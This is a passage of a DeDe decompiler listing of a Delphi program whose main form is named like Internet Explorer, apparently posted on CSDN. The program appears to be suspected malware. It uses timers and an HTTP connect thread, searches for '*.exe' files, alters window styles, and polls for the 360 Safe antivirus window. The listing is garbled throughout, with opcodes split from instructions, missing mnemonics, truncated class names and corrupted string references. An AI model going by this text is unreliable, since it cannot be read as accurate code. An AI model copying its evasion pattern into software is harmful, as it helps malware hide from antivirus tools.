eax, $004CDD60
E8639CF4FF
B864DD4C00
eax, $004CDD64
E8599CF4FF
B868DD4C00
eax, $004CDD68
E8077FF4FF
B86CDD4C00
eax, $004CDD6C
E8FD7EF4FF
B874DD4C00
eax, $004CDD74
E8F37EF4FF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: ']胐諯'
procedure Tfrm_SSMoon._PROC_004BD60F(Sender : TObject);
E9C876F4FF
procedure Tfrm_SSMoon._PROC_004BD618(Sender : TObject);
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls
Tfrm_IExplcreMain=class(TForm)
Timer1: TT
Timer2: TT
IdHTTP: TIdHTTP;
Timer3: TT
Timer4: TT
Timer5: TT
RzStringGrid1: TRzStringG
ButtonGroup1: TButtonG
procedure FormCreate(Sender : TObject);
procedure FormClose(Sender : TObject);
procedure Timer1Timer(Sender : TObject);
procedure FormShow(Sender : TObject);
procedure FormActivate(Sender : TObject);
procedure Timer2Timer(Sender : TObject);
procedure Timer3Timer(Sender : TObject);
procedure Timer4Timer(Sender : TObject);
procedure Timer5Timer(Sender : TObject);
{ Private declarations }
{ Public declarations }
frm_IExplcreMain: Tfrm_IExplcreM
{This file is generated by DeDe Ver 3.50.02 Copyright (c)
implementation
{$R *.DFM}
procedure Tfrm_IExplcreMain.FormCreate(Sender : TObject);
81C488FEFFFF
esp, $FFFFFE88
898D88FEFFFF
[ebp+$FFFFFE88], ecx
898D98FEFFFF
[ebp+$FFFFFE98], ecx
898D94FEFFFF
[ebp+$FFFFFE94], ecx
898D90FEFFFF
[ebp+$FFFFFE90], ecx
898D8CFEFFFF
[ebp+$FFFFFE8C], ecx
898D9CFEFFFF
[ebp+$FFFFFE9C], ecx
8D85A0FEFFFF
eax, [ebp+$FFFFFEA0]
* Reference to object TSearchRec
8B156C834000
edx, [$0040836C]
E8B44CF6FF
* Possible String Reference to: '閰8?胱^[嬪]?
dword ptr fs:[eax]
fs:[eax], esp
* Reference to pointer to GlobalVar_004ACCD4
A1DC6A4A00
eax, dword ptr [$004A6ADC]
byte ptr [eax], $00
* Reference to: kernel32.GetCurrentProcess()
E82966F6FF
* Reference to field Tfrm_IExplcreMain.OFFS_0388
[ebx+$0388], eax
E8EA3AFAFF
* Reference to: user32.GetWindowLongA()
E8346DF6FF
E8CC3AFAFF
* Reference to: user32.SetWindowLongA()
E86E6FF6FF
E8B93AFAFF
A12C6E4A00
eax, dword ptr [$004A6E2C]
eax, [eax]
* Reference to pointer to GlobalVar_004ACCDC
eax, dword ptr [$004A7014]
eax, [eax]
E8EFC9FBFF
* Reference to control Tfrm_IExplcreMain.Timer1 : TTimer
eax, [ebx+$0360]
* Reference to : TTimer._PROC_0042DE9C()
E812D0F8FF
* Reference to GlobalVar_004AECA0
A3A0EC4A00
dword ptr [$004AECA0], eax
C605A5EC4A0000
byte ptr [$004AECA5], $00
E87FC8FBFF
* Reference to GlobalVar_004AEC94
A294EC4A00
byte ptr [$004AEC94], al
803D94EC4A0000
byte ptr [$004AEC94], $00
8D859CFEFFFF
eax, [ebp+$FFFFFE9C]
* Possible String Reference to: '*.exe'
ecx, $004A1028
edx, [$004AEC90]
E85B44F6FF
8B859CFEFFFF
eax, [ebp+$FFFFFE9C]
8D8DA0FEFFFF
ecx, [ebp+$FFFFFEA0]
BA3F000000
edx, $0000003F
E8F18EF6FF
0F85B3000000
8D9598FEFFFF
edx, [ebp+$FFFFFE98]
8B85B4FEFFFF
eax, [ebp+$FFFFFEB4]
E86682F6FF
8B8598FEFFFF
eax, [ebp+$FFFFFE98]
8D958CFEFFFF
edx, [ebp+$FFFFFE8C]
E8AE23F6FF
8B858CFEFFFF
eax, [ebp+$FFFFFE8C]
8D9590FEFFFF
edx, [ebp+$FFFFFE90]
E89190F6FF
8B8590FEFFFF
eax, [ebp+$FFFFFE90]
8D9594FEFFFF
edx, [ebp+$FFFFFE94]
E83082F6FF
8B9594FEFFFF
edx, [ebp+$FFFFFE94]
E8F844F6FF
B898EC4A00
eax, $004AEC98
8B8DB4FEFFFF
ecx, [ebp+$FFFFFEB4]
edx, [$004AEC90]
E8D043F6FF
dword ptr [$004AEC90]
8D8588FEFFFF
eax, [ebp+$FFFFFE88]
E827C3FBFF
FFB588FEFFFF
dword ptr [ebp+$FFFFFE88]
FFB5B4FEFFFF
dword ptr [ebp+$FFFFFEB4]
B89CEC4A00
eax, $004AEC9C
E81B44F6FF
8D85A0FEFFFF
eax, [ebp+$FFFFFEA0]
E88E8EF6FF
0F844DFFFFFF
8D85A0FEFFFF
eax, [ebp+$FFFFFEA0]
E89D8EF6FF
* Reference to: kernel32.CloseHandle()
E8BF63F6FF
BAF4010000
* Reference to control Tfrm_IExplcreMain.Timer4 : TTimer
eax, [ebx+$0370]
* Reference to : TTimer._PROC_0042DEAC()
E8F3CEF8FF
* Reference to control Tfrm_IExplcreMain.Timer4 : TTimer
eax, [ebx+$0370]
* Reference to : TTimer._PROC_0042DE9C()
E8D6CEF8FF
BA40771B00
edx, $001B7740
* Reference to control Tfrm_IExplcreMain.Timer2 : TTimer
eax, [ebx+$0364]
* Reference to : TTimer._PROC_0042DEAC()
E8D6CEF8FF
* Reference to control Tfrm_IExplcreMain.Timer2 : TTimer
eax, [ebx+$0364]
* Reference to : TTimer._PROC_0042DE9C()
E8B9CEF8FF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '^[嬪]?
8D8588FEFFFF
eax, [ebp+$FFFFFE88]
E82C40F6FF
8D85A0FEFFFF
eax, [ebp+$FFFFFEA0]
* Reference to object TSearchRec
8B156C834000
edx, [$0040836C]
E87F4BF6FF
E98538F6FF
****** END
procedure Tfrm_IExplcreMain.FormClose(Sender : TObject);
685F104A00
dword ptr fs:[edx]
fs:[edx], esp
E8BB000000
fs:[eax], edx
E98435F6FF
E88F39F6FF
****** END
procedure Tfrm_IExplcreMain.Timer1Timer(Sender : TObject);
* Reference to control Tfrm_IExplcreMain.Timer1 : TTimer
eax, [ebx+$0360]
* Reference to : TTimer._PROC_0042DE9C()
E840CDF8FF
E80DFFFFFF
procedure Tfrm_IExplcreMain.FormShow(Sender : TObject);
* Reference to field Tfrm_IExplcreMain.OFFS_004C
edx, [eax+$4C]
* Reference to : TGlassFrame._PROC_00457FFC()
E8886EFBFF
procedure Tfrm_IExplcreMain.FormActivate(Sender : TObject);
* Reference to TApplication instance
A11C6F4A00
eax, dword ptr [$004A6F1C]
eax, [eax]
* Reference to field TApplication.OFFS_0030
eax, [eax+$30]
* Reference to: user32.ShowWindow()
E87E6CF6FF
procedure Tfrm_IExplcreMain.Timer2Timer(Sender : TObject);
* Reference to control Tfrm_IExplcreMain.Timer2 : TTimer
eax, [ebx+$0364]
* Reference to : TTimer._PROC_0042DE9C()
E814CBF8FF
E89135FAFF
* Reference to class TConntecInternetThread
A1BCC64800
eax, dword ptr [$0048C6BC]
E88BB3FEFF
* Reference to field Tfrm_IExplcreMain.OFFS_0380
[ebx+$0380], eax
procedure Tfrm_IExplcreMain.Timer3Timer(Sender : TObject);
* Reference to control Tfrm_IExplcreMain.Timer3 : TTimer
8B806C030000
eax, [eax+$036C]
* Reference to : TTimer._PROC_0042DE9C()
E8E7CAF8FF
A1A0EC4A00
eax, dword ptr [$004AECA0]
* Reference to: user32.IsWindow()
E84868F6FF
E8C3F8FFFF
procedure Tfrm_IExplcreMain.Timer4Timer(Sender : TObject);
81C4F8FEFFFF
esp, $FFFFFEF8
898DF8FEFFFF
[ebp+$FFFFFEF8], ecx
688B154A00
dword ptr fs:[eax]
fs:[eax], esp
803DA5EC4A0000
byte ptr [$004AECA5], $00
0F859D000000
833DA0EC4A0000
dword ptr [$004AECA0], +$00
A1A0EC4A00
eax, dword ptr [$004AECA0]
* Reference to: user32.IsWindow()
E81F67F6FF
* Reference to GlobalVar_004AECA0
A3A0EC4A00
dword ptr [$004AECA0], eax
E893F7FFFF
* Reference to: user32.GetForegroundWindow()
E87065F6FF
8D85FFFEFFFF
eax, [ebp+$FFFFFEFF]
* Reference to: user32.GetClassNameA()
E80465F6FF
8D95F8FEFFFF
edx, [ebp+$FFFFFEF8]
8D85FFFEFFFF
eax, [ebp+$FFFFFEFF]
E8EF8DF6FF
8B85F8FEFFFF
eax, [ebp+$FFFFFEF8]
* Possible String Reference to: 'Q360SafeMainClass'
BAA0154A00
edx, $004A15A0
E8F33EF6FF
* Reference to: user32.IsWindow()
E8C366F6FF
891DA0EC4A00
[$004AECA0], ebx
E83EF7FFFF
68D4134A00
* Reference to: user32.EnumWindows()
E85C64F6FF
68D4134A00
* Reference to: user32.EnumWindows()
E84E64F6FF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '[嬪]?
8D85F8FEFFFF
eax, [ebp+$FFFFFEF8]
E87E3AF6FF
E90C33F6FF
****** END
procedure Tfrm_IExplcreMain.Timer5Timer(Sender : TObject);
E8D6F6FFFF
803DA4EC4A0000
byte ptr [$004AECA4], $00
* Reference to control Tfrm_IExplcreMain.Timer5 : TTimer
eax, [ebx+$0374]
* Reference to : TTimer._PROC_0042DE9C()
E8C8C8F8FF
没有更多推荐了，
加入CSDN，享受更精准的内容推荐，与500万程序员共同成长！